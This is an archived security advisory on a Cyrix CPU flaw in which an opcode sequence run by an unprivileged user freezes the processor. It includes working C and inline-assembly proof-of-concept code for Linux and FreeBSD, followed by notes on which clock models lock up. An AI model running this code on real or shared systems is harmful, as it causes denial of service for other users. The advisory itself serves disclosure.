COMMAND

    CPU

SYSTEMS AFFECTED

    Cyrix CPUs

PROBLEM

    Ragnar Hojland Espinosa found following.   A couple of people  did
    report it,  effectively, froze  (most of)  their Cyrix  CPUs while
    running the opcodes below as non priviledged user.

        0x804a368 <the_data>:   cwtl
        0x804a36a <the_data+2>: orl    $0xe6ebe020,%eax
        0x804a36f <the_data+7>: jle    0x804a368 <the_data>

    Here is the code (tested with linux, any version):

    /* Please compile without optimizations */
    unsigned char the_data[] = { 62, 152, 13, 32, 224, 235, 230, 126, 247 };

    void (*badboy)();
    int main (int argc, char **argv)
    {
       badboy = (void(*)())(the_data);
       asm ("movl badboy,%eax");
       asm ("call *%eax");

       return 0;
    }

    Ragnar  Hojland  Espinosa  made  a  modified version of the freeze
    program that runs on FreeBSD:

    int main()
    {
       asm ("foo:");
       asm ("cwtl");
       asm ("orl $0xe6ebe020,%eax");
       asm ("jle foo");
       asm ("addb %al,(%eax)");

       return 0;
    }

SOLUTION

    Most  Cyrix  processors  have  two  models.  ie; the mII-300 has a
    3x75MHz  and  a  3.5x66MHz  model.   Tested  against the 3.5x66MHz
    model, run  at 3x75MHz  - nothing  freezed.   3x75MHz donwgrade to
    66Mhz will lock.  This might be related to the TSC problem  (Cyrix
    TSCs are slightly different from Intel/AMD TSC's) that occured  in
    Linux a while back.